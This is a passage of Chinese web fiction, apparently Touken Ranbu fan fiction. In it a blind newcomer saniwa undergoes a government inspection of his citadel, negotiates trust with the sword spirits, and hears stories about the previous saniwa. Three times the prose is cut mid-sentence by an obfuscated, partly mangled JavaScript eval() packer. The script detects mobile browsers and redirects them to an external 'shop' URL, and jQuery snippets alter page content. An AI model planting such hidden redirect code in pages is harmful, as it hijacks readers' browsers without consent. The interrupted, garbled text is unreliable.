相处了几日,本丸内的刀剑男士都已经知道绫小路望并不在意其他人提到他双目失明这件事,平时交谈时也不会再刻意回避,他们之间的气氛都轻松了许多。 “男生也可以被这样形容吗?”绫小路望和加州清光打趣,“感觉清光是在把我当洋娃娃打扮。” “呀,被您发现啦。” 加州清光吐了吐舌头,语气却不见任何心虚,轻快又坦荡,“美本来就是一种感觉,我们平日不也总说三日月殿是最美的吗。” 绫小路望恍然大悟。 见自己蒙混过关,加州清光赶紧转移了话题:“今天还是用黑布吗?审神者大人。” 绫小路望只会在出门时把眼睛蒙上,刚睡醒的他自然脸上什么都没有。 听到这话,绫小路望瞬间升起警惕。 加州清光不会要把自己的蒙眼布一块给换了吧。 “我觉得黑布就很好,不透光,保护眼睛。”他赶紧说到,试图打消加州清光的念头。 “好吧。”加州清光故作失望,夸张地叹了口气,“感觉用白布会跟今天这身更配哦,审神者大人真的不想尝试一下吗?” 绫小路望斩钉截铁道:“不想!” 见绫小路望态度坚决,加州清光有些不情不愿地把拿出来的布收好。 听到布料被折叠的悉悉索索的声音,绫小路望这才放下了心,却不知道加州清光此时正在思考下次该如何让他答应换一块布。 “审神者大人我们走吧,”加州清光伸出手,“我们去让其他人大吃一惊!” 他指的是绫小路望的穿着。 绫小路望有些无奈,摇了摇头,但最后还是把手搭在了加州清光的手中:“等下还要招待监察官。” “只是让他们一人夸你一句。”加州清光心满意足,牵着绫小路望就往餐厅走去,脚步透着些迫不及待。 12. 监察 本丸内唯一的出入口便是时空转换器。 只要有坐标,哪里都能去。 中庭乌央央站了一大群人,没了平日里的嬉闹随性,个个身姿挺拔。 绫小路望站在最前方,把自己重心靠在导盲杖上,周身平静,心底却微微紧绷,等待监察官到来。 时空转换器启动的时候,与本丸签订契约的审神者是能感受到灵力传来的异动的。 几乎是同时,绫小路望微微抬首,朝着时空转换器的方向若有所感。 只见原本沉寂的时空转换器微微转动,上面刻着的繁复的符文浮出一层柔和的白光,泛起淡淡涟漪。 下一秒,一个全身被黑色斗篷包裹的人凭空出现在了原地。 “编号D0009本丸?” 监察官站在原地,抬手调出面板,指尖在上面快速滑动,语气平淡,听不出丝毫情绪。 “对的,监察官大人。”鹤丸国永上前一步,笑眯眯道,“欢迎。” 监察官没有回话,扫视了一圈,目光直直定格在绫小路望身上,很快移开:“审神者?带我去天守阁,我需要先检查刀账。” 很干脆的指令。 政府人员果然都是冷淡强硬的风格啊。 绫小路望在心里感叹着。 “我明白了。” 他侧头,朝着鹤丸国永的方向开口,“麻烦你了,鹤丸,其他人先去忙吧。” 绫小路望猜测或许监察官会有什么话跟他说。 鹤丸国永在前面带路,二人并肩落后他两步,安静地跟着。 果不其然,一走出中庭,监察官就跟绫小路望预想的一样,开口道:“政府没查到您的相关信息,是从哪个世界来的?” 不知是不是只剩他们二人,监察官的声音中少了几分冷硬。 “我是误入本丸的,并不清楚坐标。” 绫小路望沿用之前的说法。 监察官一时没有说话,操作面板的手没有停下来,似乎是在记录着什么,结束了才缓缓开口:“我会把这件事上报,政府后续会对您进行补偿。” “不管是否合格吗?” “不管是否合格。” 监察官肯定道,“毕竟是政府的监管工作出现疏漏造成您误入,不管您是否自愿留下,政府都有责任。后续会有技术人员查询您所在的世界坐标,看情况进行补偿。” 绫小路望有点怀疑他们能不能查到。 但说出来就暴露了,只能平静应下此事。 “……有一件事我想询问一下。” 感觉现在气氛不错,绫小路望犹豫了一下,问道,“鹤丸有跟我提过这个本丸的审神者需要亲自出任务……” 他没有把话说完,但监察官应该能明白他想表达的意思。 “是的,您的身体素质素质也是评分标准之一。” 监察官并没有对绫小路望蒙着眼拿着导盲杖这事做出评价,一板一眼回复,“临场反应也是。” “是否决定出任务还要看审神者的意思,我们并不会强求审神者们,也不是只有你们这一个本丸能用。” 说这话时监察官显得很有人情味,似乎是担心前方的鹤丸国永听见,最后一句是他压低了声音说的。 原来如此。 绫小路望瞬间不担心了。 能当后勤就好。 监察官检查了一圈保护刀账的结界,示意绫小路望将刀账交到他的手上。随后拿出一个仪器,把位于刀账第一页的绫小路望的灵力信息扫描上传。 做完这一切,监察官浅翻了一下刀账:“已唤醒的刀剑男士有点少了。” 鹤丸国永替绫小路望回答了:“毕竟审神者大人才来半个月,我们不能让审神者大人一口气使用太多灵力。” “但本丸目前的刀剑男士数量可以满足日常出阵要求。” 监察官没有对鹤丸国永的话做出回应,而是对着绫小路望说道:“能熟练使用灵力吗?” “抱歉,我从未接触过。” 绫小路望实话实说。 “我知道了。”检察官点头,又在面板上记了几笔,“可以去万屋购买课程。” 绫小路望知道监察官是在帮他:“谢谢。” “走吧。”监察官将刀账放回原处,等待绫小路望用灵力激活结界,“走一圈,之后我再和审神者单独谈话。” 依旧是鹤丸国永在前面带路。 不同的是,这次监察官并未和绫小路望说话,而是微微提高了声音:“我来之前看过你们本丸上报的情况,近侍是鹤丸国永对吧。” 鹤丸国永走在前方的身形微微一顿,答到:“是的。” “前任审神者因为政府派发的任务死亡,会恨吗。”监察官并没有避着绫小路望说这话。 又或者,是专门说给他听的。 绫小路望很快反应了过来。 是担心他误入本丸后被刀剑男士利用,然后伤害吗。 鹤丸国永不知道该怎么回答监察官的问题,深吸一口气:“说不恨不可能。” 绫小路望有些诧异。 他听见鹤丸国永继续说道:“与其说恨你们发布的任务,不如说更恨政府没有第一时间派人去寻找前任审神者,直到我们契约消失都没有得到任何消息。” “既然这么恨政府的不作为,为什么还要提交申请二任审神者。”监察官追问。 “大概是舍不得记忆吧。”说完这话,鹤丸国永便揭过了这个话题,“这也是考核内容吗,监察官大人。” 监察官轻轻“嗯”了一声:“若审神者合格你们不合格,会要让审神者换一个本丸。” 到底是人,立场总会偏向同类。 “那我们合格了吗?”鹤丸国永胆子大,直接问道。 监察官没有回答:“好好带路。” 绫小路望猜测监察官应该是满意这个回答的,他的声音里并无不满。 本丸的大广间、手合场,甚至后山都带监察官一一看过,绫小路望感觉自己脚底走得有些酸,不由得放慢了速度。 监察官注意到这一点,也默默放慢角度,环顾着四周本丸的环境。 路过万叶樱时,或许是想到绫小路望并没有系统地学习过如何使用灵力,这位才第一次见面的监察官好心地当起了老师。 “判定一个审神者的灵力强弱,除了查看刀账,也可以通过生长于本丸的万叶樱判断。” 绫小路望提起了兴趣。 检察官继续说道:“万叶樱并不会常年盛放,只有契约检测到审神者灵力充沛时才会有这种景象。盛开的持续时间是审神者灵力储备的表现。” 绫小路望看不见,但他靠近也能闻到淡淡花香。 好像从他跟本丸签订契约开始,万叶樱就一直开着? 绫小路望不确定地回忆着。 监察官话锋一转:“你的灵力储备量很强,多唤醒几位刀剑男士不成问题。” 明显是在点鹤丸国永之前的话。 鹤丸国永也没有插话,跟绫小路望一起听检察官的讲解,眼里闪过思索。 察觉到鹤丸国永的视线,监察官拉低兜帽:“灵力没问题,回天守阁。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520968|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鹤丸国永刚想动,就被检察官阻止了:“我和审神者就够了。” 绫小路望微微绷紧了身体。 二人谈话环节又要来了吗。 他们又回到了天守阁最顶层。 这一通路走下来,绫小路望觉得自己今日运动量肯定超标了,酸痛的小腿正在明天等着他。 监察官将斗篷脱下,放到一旁的桌上,轻轻舒了一口气。如果鹤丸国永在这里,肯定会惊讶斗篷下年轻的面容。 “终于不用装了,累死我了。” “就我们两个人,不要紧张。”离了斗篷,自带的变声效果也消失了,绫小路望有些惊讶地发现说话的人是女生。 监察官脆生生道:“虽然可能有些不太礼貌,你的眼睛还有恢复的可能吗?” 有。 系统会让他看见。 但他不能说实话,于是绫小路望面上做出失落的样子:“抱歉,我是先天失明。” “我明白了,在使用灵力的情况下你可以看到多少。” “大致地形轮廓都可以,小细节用心一点也能发现。”顿了顿,绫小路望继续回答,“看不到人脸,只知道前面有人。” “而且这只是在本丸内,我不清楚在外面能不能看到。” 他面前的监察官也是一个光团,只不过和其他人颜色都不一样,灵力感觉也不同。 “政府掌握了不同时空的先进技术,有需要的话可以去一趟总部。” 检察官的话让绫小路望愣了一下,“我看到你申请了无障碍阅读器,虽然总部不一定有方法,但也可以改善。” 绫小路望感觉自己的脑子有点乱了。 所以愿望系统把他扔到这里,是因为时之政府可以治疗他的眼睛? 但是为什么? 他到底是过来干嘛的? 不应该是系统直接让他眼睛恢复吗,就跟它一下子把自己扔到这里一样。 见绫小路望不说话,监察官还以为他被突如其来的惊喜砸懵了,干脆自顾自说下去:“你的情况还没糟糕到不能出任务的地步,政府还是可能会给你派发任务。” “当然,我前面也说了,不想去可以拒绝。” 检察官说这话时丝毫不显心虚,甚至贴心的给出了备选方案,“实在担心的话也可以向总部申请成为监察官,就不用跑出去做任务了。” “谢谢。”绫小路望收敛思绪,真情实感地感谢到。 监察官摆摆手:“都是自己人,没什么好谢的。” “我跟鹤丸国永的谈话你也听见了,想要换一个本丸吗?” 绫小路望微微蹙眉:“……可以问下为什么吗?” “没什么不好说的。” 检察官出乎意料的是一个很爽快的性子,没有丝毫拐弯抹角“你灵力强大,储备上限也高,一个全新的属于你的本丸会更适合你。” “毕竟刀剑男士很容易受前主影响。” 绫小路望听见检察官轻笑了一下,似是有些不屑,“你要留在这也没问题,毕竟各方面都符合要求,一切都由你来决定。” “但我们会对你追加一个条件。” “请说。”绫小路望急忙追问。 检察官盯着他看了好一会儿都没说话,一直到绫小路望有些受不了得把头底下,才开口道: “在任职期间,你需要保证自己不会对前任审神者产生嫉妒,对刀剑男士产生占有欲和怨恨。” “如果觉得可以接受,就立下誓约吧。” 绫小路望看不到面前的人的样貌,只觉得这话有些毛骨悚然。 13. 待定 绫小路望最后还是答应了下来。 他很清楚自己根本没有其他选择,系统让他来这,那他就只能成为这个本丸的审神者。 不管能让他眼睛看见的方法是不是跟时之政府的技术有关,绫小路望都要留下。 他们又谈了一些别的,检察官才重新披起斗篷,恢复了一开始听不出年龄性别的声音,淡淡道:“考核结束了。” 鹤丸国永始终在天守阁一楼等候,片刻不曾离开。见审神者和监察官下楼,他急忙迎了上去,视线在二人之间轻扫。 一路沉默无言,气氛平静却带着一股无言的紧绷感。直到他们走到时空转换器面前,监察官输入了几个坐标后转身,对着绫小路望微微鞠躬:“今天打扰了。” 监察官直起身,语气冷淡又疏离: “综合各项考核内容,D0009本丸本次考核结果为待定,半个月后我会再次到访复核。” 话音落下,不给鹤丸国永询问是哪里出问题的机会,监察官消失在了原地,只剩下淡淡的时空波动。 “审神者大人……” 鹤丸国永有些困惑。在他看来不应该会是这个结果,本丸早已步入正轨,审神者灵力稳定,本丸内人手充足,唯一有可能出现问题的只有…… 垂眸,鹤丸国永压下心底想法。 监察官不可能因为他的回答而不通过,不然结果就应该是审神者大人换一个本丸,而他们重新陷入沉睡。 鹤丸国永和三日月宗近讨论过今天的各种可能性,未通过这种可能当然也考虑到了,只是“待定”的意思是……? 鹤丸国永思考着这两个字背后的含义。 “没关系的,鹤丸。”绫小路望安慰道,“我们半个月后还有机会。” “我们应该只是需要改进而已。” 绫小路望的声音听不出丝毫焦虑,语气平静。 事实上,待定的结果是绫小路望自己要求的。 监察官本来想直接给予通过,被绫小路望制止了。 “我可能还需要一点时间。”绫小路望说道,语气带着几分慎重,“我会尽快唤醒所有刀剑男士,想先跟他们都相处一下。” 监察官的话确实给绫小路望提了醒。 鹤丸国永的态度能代表本丸内的所有人吗? 刀剑男士的性格本就各不相同,万一真的存在不接受他成为新任审神者的刀剑怎么办,绫小路望不想冒这个风险。 “好啊,你想要多久。”监察官很爽快。 绫小路望思索片刻:“半个月。” 监察官没有多问:“我知道了。” 随后她当着绫小路望的面,在面板最下方写上“待定”二字。 感觉到鹤丸国永似乎还有些担心,绫小路望抬手拍了拍他的肩:“放心,我心中有数。” 绫小路望和鹤丸国永差不多高,因此不怕拍错位置,掌心带着安抚的温度。 鹤丸国永见审神者情绪稳定,也不再做他想:“我明白了,审神者大人忙了一上午,请先去用餐。” “嗯。”绫小路望微微颔首,在鹤丸国永的陪伴下,握着导盲杖往餐厅走去。 果不其然,其他刀剑男士听到最终结果是“待定”时,第一反应都是疑惑。 五虎退想得跟其他人都不一样:“审神者大人……那您是不是拿不到无障碍阅读器了?” 绫小路望申请无障碍阅读器的事情全本丸都知道,毕竟他总会抓路过的刀剑男士帮忙念书。 绫小路望安抚地笑了笑:“没事,晚半个月而已,而且不还有你们在。” “对!审神者大人当然可以依靠我们!”今剑举起手,“对吧。” 绫小路望只是笑笑,转移了话题:“所以我决定趁着这半个月再多唤醒一些刀剑。” 他准确地预判到了乱藤四郎的话,先一步说道:“鹤丸可以作证,监察官说我的灵力储备量还不错,可以多唤醒几位刀剑男士。” 于是乱藤四郎把目光移到了鹤丸国永的身上。 咽了咽口水,鹤丸国永替绫小路望作证确有此时,这才被放过。 “好吧,那等下我把他们从仓库里拿过来。”乱藤四郎瘪嘴,“审神者大人千万不要累着自己。” 或许是怕绫小路望偷偷摸摸去大广间唤醒刀剑男士,他们商量了一下把找出来的刀剑放到仓库的刀架上,隔一段时间拿出一批让绫小路望唤醒。 至于还没有被找到的刀剑,真的被绫小路望捡到那也只能祝贺他们运气好了。 “我有分寸。” 绫小路望想了想本丸最近有些过多的短刀数量,犹豫了一下,“优先太刀和打刀吧,本丸还有些地方需要翻新。” 虽然知道他们的本质是刀剑,但绫小路望一想到让孩童样貌的短刀干重活就有些良心过不去。 嗯,胁差也不行。 * 第一个对“待定”产生质疑的刃是髭切,但最后却是由三日月宗近来到绫小路望面前。 这位源氏的刀软绵绵地说了句“不在意”后,端着茶坐在廊下发呆,除了逗弄身边的膝丸外不再开口。 无障碍阅读器还没到,每日出阵报告依旧交给鹤丸国永完成,三日月宗近等人喝茶时他正在天守阁和笔墨奋斗着。 三日月宗近来的时候,绫小路望正在认真学习从万屋购买的灵力使用教材。 监察官走之后,绫小路望就拜托歌仙兼定每日采买的时候帮他带回来,但没想到这是一系列教材,歌仙带回来六本书的时候绫小路望还短短困扰了一下。 幸好,有朗读版。 耳边隐约传来敲门声,绫小路望摘下耳机,对门外说道:“请进。” “打扰了,审神者大人。”三日月宗近行礼,转身将门关上。 本丸里最麻烦的家伙来了。 绫小路望不动声色地把东西收到一旁:“有什么事情吗,三日月?” 三日月宗近自然听出了绫小路望话里的催促,有些无奈。他也不想来做这个恶人,如果可以的话,谁会想给审神者留下坏印象呢? “嘛,总要来问一问的。” 三日月宗近自然地走到绫小路望身边坐下,“审神者大人在学习?” 他看到了绫小路望摆在桌上的书籍。 明知故问。 绫小路望在心底冷哼一声,但面上的工作还是要做的:“是一些使用灵力的小技巧,我不想给你们拖后腿。” “审神者大人辛苦了,老爷爷很敬佩呢。”三日月宗近转入正题,“大人对复访一事有什么其他想法吗。” “不管三日月问什么我都不会说的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520969|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绫小路望直接道。 哦呀。 三日月宗近心里暗道不好:“审神者大人,何必呢。” “如果是因为先前的试探,三日月宗近在此向您道歉。” 绫小路望沉默了一下:“三日月有真的把我当做审神者吗。” 他思来想去,还未被唤醒的刀剑不管,已经被唤醒的,跟他接触稍微多一点,且最有可能对他有意见的也只有三日月宗近了。 如果被三日月宗近知道绫小路望的心里想法,肯定要叫冤。 但这些三日月宗近无从得知。 听着绫小路望的话,他久违地陷入了沉思。 “……审神者大人为什么这么说?我自认没有冒犯您的时候。” “三日月是来问我跟监察官私聊的具体细节的吧。” 绫小路望没有回答他的问题,“鹤丸也问过了,我没说。” “我记得当初你和他一起在大广间沉睡,你们关系很好吧。” “三日月有把我当做是你们的审神者吗?还是说我只是一个提供灵力的工具,其他都只能靠你们。” 三日月宗近叹了口气,决定改善一下自己在审神者心里的形象。 “自然是把您当成审神者。”语气认真了几分,三日月宗近纠结着用词,“我来找您说的是大家共同商议之后的想法,最后的决策权永远在您手上。” “只是不知道具体细节,我们会担心想得不够全面,不能帮到您。” “……并不是逼问,也不是想架空您。” 三日月宗近何等聪明,绫小路望的态度根本没有做什么掩饰,轻轻松松就猜到了对方的想法。 “老爷爷也希望只要喝茶就行了。” 三日月的语气不像作假。 绫小路望心里的警惕被打消掉一半。 大家? 除了三日月宗近,还有谁? 压下疑惑,绫小路望并不知道该什么回答三日月宗近的话。 他是真的不擅长和其他人交谈,能装模做样这么久已经很不容易了。 系统呢,救一救他啊! 而在三日月宗近看来,便是绫小路望因为他的话而开始思考,沉默也被解读成了顾虑。 他们的审神者啊…… 三日月宗近错开视线:“我们都很希望您能留下来,审神者大人。” “这……”绫小路望咬牙,“待定是我主动提出的。” 说这话时他的声音很小,语气中也有微微的心虚。 得到了答案的三日月宗近骤然放松,很快便猜到绫小路望的理由:“审神者大人果然还是不太信任我们。” 监察官和鹤丸国永的谈话他们当然已经知道了。 那就好。 三日月宗近松了口气。 居然真的被髭切殿说对了。 绫小路望不理解面前的人为什么没有发火,他以为三日月宗近会埋怨他故意不让本丸合格。 却听见三日月宗近带着笑意开口: “审神者大人有所不知,我们本丸大半刀剑男士都已经完成极化修行。” “逝者已逝,我们都只会专注于当下。” “既然如此……” 绫小路望还是觉得不对,“那为什么到现在还只是称呼我为审神者?” 14. 接触 称呼问题是绫小路望最纠结的。 倒不是他很喜欢听别人叫自己“主人”,这也太羞耻了。 但对刀剑男士来说,称呼在某种意义上代表着的是对审神者的忠诚。 为何他们到现在还只称呼自己为“审神者”呢?而不是,更亲近的,更加专属的。 “审神者大人”这样的称呼,他们对任何一个人都能说出来吧,没有任何心理负担,毕竟从他和乱藤四郎见的第一面起,就被这么称呼着。 三日月宗近没有回答,只是说:“还没到时间,审神者大人。” 绫小路望隐约觉得这话有些熟悉。 对了,鹤丸国永也说过“没到时间”。 想到他们的行为,绫小路望隐约有了猜测。 是要等监察官认定合格了才行吗。 是要等到他彻底和这个本丸绑在一起的时候吗。 三日月宗近走后,绫小路望低低地笑了起来。 真贪心啊。 不过他也是,谁也不能说谁。 当审神者也不错,不是吗。 这是绫小路望第一次感受到了被需要的情绪。 又能给自己提供情绪价值,又能完成系统给的任务,时之政府说不定也有方法可以治疗他的眼睛。 前途真是一片光明。 反正只要活下去就好了。 他会把影响达成目的的东西都除掉。 …… 除掉? 绫小路望有些恍惚。 这是他能想出来的念头吗? 好奇怪。 * 本丸内的刀剑男士发现他们审神者出来走动的次数更多了,经常能在走廊上或者万叶樱下看到绫小路望的身影。 正在路上走着的大和守安定突然感觉有人扯了扯他的袖子,下一秒拉力感从背后传来,大和守安定措不及防地被带到柱子后面。 站稳脚跟,看清来人后大和守安定有些不解:“干嘛啊清光,这很危险的,我差点就摔了。” 加州清光神秘兮兮地捂住大和守安定的嘴,用另一只手指了指前方:“小点声啦安定,你看那边。” “清光你现在跟做贼一样。” 吐槽归吐槽,大和守安定还是顺着加州清光的手指看了过去,微微瞪大眼睛,有些惊讶,“那是审神者大人?!” “我们要过去打招呼吗,清光。” 加州清光显然没想到大和守安定会这么说,有些犹豫:“我们会不会打扰审神者大人啊。” “应该不会吧?”大和守安定被加州清光说得也有些不确定了起来,“审神者大人看起来只是在休息?” “那我们过去?” 加州清光和大和守安定对视了一眼,拉着他的手就往绫小路望的方向跑,在不远不近的距离处停了下来。 “审神者大人!” 特意站在这里的绫小路望:计划通。 “好巧,清光,还有安定。” “审神者大人在忙吗?”大和守安定好奇道。 绫小路望摇摇头:“学得有些累,我出来放松一下。” 加州清光眼睛一亮:“那我和安定来带您放松吧!” 他拉着大和守安定的袖子晃了晃:“我是这个本丸的初始刀哦,最了解这里了。” “可是审神者大人早就逛过本丸了吧,前几天还跟着监察官走了一遍。”大和守安定示意加州清光不要太激动,轻声提醒。 “没关系,我想听清光介绍。”绫小路望先一步说道,“我想听本丸里发生的有趣的故事,可以吗?” “这个啊……”加州清光面露难色,“有倒是有,就是……” 他支支吾吾地,半天没说出话。 “不行吗?”绫小路望有些失望,语气低落。 果然,下一秒就听到加州清光答应了下来。 “但是可能会说到前任审神者,而且会有点多……”加州清光弱弱地补充了一句,“审神者大人要是介意的话……” “不介意哦,我很想听清光讲。”绫小路望语气微微上扬,“安定也是。” 绫小路望的端水工作做得很好。 “好!”加州清光表情瞬间灿烂,连带着大和守安定也忍不住笑了起来。 提起前任审神者,加州清光眼中的怀念并不作假,但更多的,是一种想把未曾被知晓的事情告诉绫小路望的分享欲。 或许在他们的想法中,前任审神者跟他们还是刀剑时的前主一样,他们的故事都应该流传下去。 绫小路望也很乐意听。 他最擅长的就是安静地听故事了。 在加州清光的口中,这个本丸的前任审神者在很小的时候就成为了审神者。当时刚被唤醒的加州清光看见一个比他矮了很多的小孩子,可是被吓了一大跳。 “有一件很巧的事情哦,审神者大人。” 加州清光伸出食指晃了晃,故作神秘,“前任审神者也是误入这里的。不过当时本丸还不存在,据说前任审神者是突然出现在时之政府总部的,身上抱着一只破破烂烂的狐之助。” “时之政府的工作人员以为前任审神者是在战场上受了什么伤害,询问时才发现根本不知道这里是哪里。” “当时的前任审神者在原本的世界里看到路边濒死的狐之助,以为是需要救助的小动物。因为刚好满足成为审神者的要求,就被狐之助身上的被动触发的防御装置一起传到了时之政府总部。” “本来时之政府的工作人员应该把前任审神者送回去,但在查询的时候发现未来的前任审神者在他们的邀请名单上。” “于是为了不被洗去记忆送回去,前任审神者就这样留下来了。当初那个濒死的狐之助也成为了我们本丸的狐之助。” “那狐之助原来的本丸呢?” 绫小路望对这些已经有了一些了解,听到加州清光的话,有些好奇,“而且为什么要洗去记忆?时之政府不能被知道吗?” “嘛,毕竟我们要维护历史,未来的历史也是历史,对吧安定。” 加州清光用手肘怼了下大和守安定,语气似有些调侃,“但如果答应成为审神者,时之政府会帮忙让审神者跳出历史进程线,单独隔离了出来,不会影响原本的世界。” “对某个世界有重大影响的人也不会成为审神者就是了,那样世界的时间线就乱套了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520970|203307||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 加州清光把他认为重要的事情解释给绫小路望,才说道:“至于狐之助,他本来就没有本丸哦。” “好像是接了一个任务,要去找目标当审神者,但是在那个世界出了意外,被同样有资质的前任审神者捡到了。” 想到这,加州清光打了一个冷颤,感叹道:“前任审神者所在的世界好像很危险。” “他没跟你们说过吗?”绫小路望问。 这次回答的人是大和守安定:“还是稍微需要保密一下的,审神者大人。” “审神者和刀剑男士存在信息差会比较好,万一哪天发现审神者的世界有危险,审神者去改变历史就完了。” 听大和守安定的语气…… 绫小路望歪了歪头:“所以是有先例吗。” “您真敏锐。” 大和守安定叹了口气,“总之,这样的事还挺多的,所以我们尽量不去过问审神者原本的时空坐标,政府在派发任务的时候也会下意识规避。非紧急情况,是不会让审神者去他原本的世界做任务的。” “前任审神者……他的最后一个任务,就是去了自己世界。” 三人陷入沉默。 绫小路望张了张口,却不知道自己能说些什么。 安慰吗? 他似乎没有立场。 罢了,大和守安定说起这些也是为了提醒他。 绫小路望跳过了这个话题,问道:“那这个本丸的狐之助呢?” 加州清光和大和守安定茫然地对视了一下。 加州清光虽然是初始刀,但和政府交接的文书工作多是由鹤丸国永来完成,最后留在本丸的人又是乱藤四郎,他还真不知道狐之助为什么到现在还没有出现在本丸。 “我们去找乱问一下?”加州清光提议,“而且乱来得也很早,审神者大人想听以前的故事的话,乱应该也很乐意。” 乱藤四郎可太乐意讲故事了。 还有什么比审神者全心全意听着你说话更令人激动吗。 反正他乱藤四郎不能拒绝! 在得知绫小路望几人的来意后,乱藤四郎招了招手,示意粟田口的其他刃一起过来,待大家都落座后,才说道: “狐之助那边应该还有一些手续要完成,因为审神者大人不是因为他的申请才来到我们本丸,这次考核又是待定,还需要一些时间才能过来。” 在最开始的那几个月,乱藤四郎问过类似问题。 “狐之助会留在我们本丸吗?”他记得他当时是这么说的。 他也记得狐之助的回答。 “咱会一直陪着你们。”明明只是一句随意的询问,却得到了狐之助的承诺,“不管需要多久,咱都会是这个本丸的狐之助。” “希望到时候新的审神者大人不要嫌弃咱。” 回过神,乱藤四郎继续说了下去。 “毕竟本丸的刃等级都不低,还几乎是满刀帐,一般狐之助需要做的新手引导审神者大人都不是很需要,慢一点也正常。”他笑嘻嘻,很是自豪,“我们是不是很省心呀,审神者大人。” 全然忘了绫小路望的所有基本知识都是鹤丸国永补习的这件事情。 15. 前任 同为最早到本丸的刀剑男士,乱藤四郎和加州清光的记忆有很多是重复的。 “趣事啊……” 乱藤四郎玩弄着自己的头发,思考了片刻,“也不算很有趣,但是是一个你们绝对想不到的事情哦。” 他故意勾起众人的好奇心。 “你们觉得前任审神者是一个怎么样的人。” 这也是绫小路望想知道。 听一下前任审神者在刀剑男士心里的形象,绫小路望也可以参考着改变自己对待刀剑男士的态度。 “很厉害,但是有点……严肃?” 信浓藤四郎虽然等级高,但他却是很后面才来本丸,跟前任审神者相处的时间并不算多。 “很大方,就是会经常乱花小判。”说话的人是博多藤四郎,不知道为什么,声音听起来竟然带着怨气,“都没跟我们说就自己做决定把全本丸的设备翻新升级,仓库里直接少了一半小判,我当时还以为本丸进贼了。” “我对博多当时的尖叫声印象深刻。”后藤藤四郎笑嘻嘻地把手搭在博多藤四郎身上,“前任审神者是一个很负责的人,做事也很认真。” “对我们也很好……”五虎退声音不大,眼睛亮晶晶地,“不想去修行也可以。” 五虎退现在的样子就代表他最后还是去极化修行了。 绫小路望听着,心里缓缓勾勒出了一个形象。 ……是一个很好的人啊。 绫小路望想。 幸好他从未想过去跟前任审神者比较。 刀剑男士对他的描述简直就是白月光级别的存在。 加州清光好像已经知道乱藤四郎要说什么一样,听着前面的描述,突然捂着嘴,扶着大和守安定的肩膀开始笑,止也止不住,身体一抽一抽地。 “怎么了?清光。”大和守安定来得时候也不算很早,因此不是很明白加州清光在笑什么。 “安定……噗呲……等下就知道了……” 加州清光摆摆手,让大和守安定不要在意他。 大和守安定疑惑地将目光投向了乱藤四郎。 乱藤四郎的嘴角也跟着上扬:“你们绝对猜不到——” “前任审神者以前是个哭包哦!” “欸?!”×n “被吓到了吧!”乱藤四郎笑得眼睛眯了起来,“清光应该也记得。” “是啊,前任审神者当初哭得可惨了。”加州清光伸出手跟乱藤四郎击掌,“因为那件事,狐之助可是被前任审神者骂惨了。” 事情还要从前任审神者刚到本丸时说起。 为了让审神者学会使用灵力给刀剑男士进行手入,时之政府给每个狐之助都植入了教学程序,在本丸只有一两把刀剑,人数不够的时候派遣刀剑男士前往难度最低的虚拟战场进行战斗,虚拟战场可以保证刀剑男士不会因此重伤碎刀。 然后浑身是血的刀剑男士回到本丸接受审神者的手入。 这是每个人成为审神者都要经历的流程。 但很显然,这个程序不懂得灵活变通,跟个老古板一样,完全没考虑D0009本丸的审神者还是一个小孩子。 看到衣服破烂、浑身是血的加州清光和乱藤四郎互相搀扶着回到本丸的前任审神者,第一反应就是跑上去,抓着两个刃的衣服下摆,哭着说不要死。 也幸亏被模拟出来的时间溯行军难度不大,当时的加州清光还有余力安慰前任审神者,轻声哄着前任审神者一路哄到手入室。 接下来整个手入过程都是伴随着前任审神者的泪水进行的。 事后狐之助当然逃不过。 自知理亏的狐之助想解释,但当时还只是小孩子思维的前任审神者根本无法理解时之政府的做法,只知道这样会害加州清光和乱藤四郎受伤,根本不听狐之助的话,赌气地收走了特意给狐之助做的油豆腐,甚至接下来几天都拒绝按照狐之助的指引进行锻刀和出阵。 没办法,狐之助只能求助加州清光二刃,希望他们能帮忙。 总之,在一波三折之下,最后前任审神者终于松了口,同意进行出阵教学。 但每次前任审神者都会执着地等在时空转换器面前,一遍又一遍地翻着刀帐,生怕上面出现刀剑受伤的信息。每次看到他们带伤回来也都会流泪,就好像疼的其实是前任审神者本人一样。 “或许是当时就刺激到前任审神者了,后来才会毫不犹豫地接下政府的任务,亲自去往前线。” 乱藤四郎显然不想谈到这个令人不是很高兴的话题,只是轻飘飘的提了一嘴,“如果我不说,你们一定谁都想象不到前任审神者大人最开始是这种性格。” “还有其他的哦……” …… 一直到和泉守兼定来通知乱藤四郎出阵,绫小路望才恍然发现时间过去了很久。 在门外探头的和泉守兼定自然也发现了绫小路望,有些惊讶:“审神者大人在这呢,刚才烛台切还念叨着找不到您,给您先把菜温着了。” 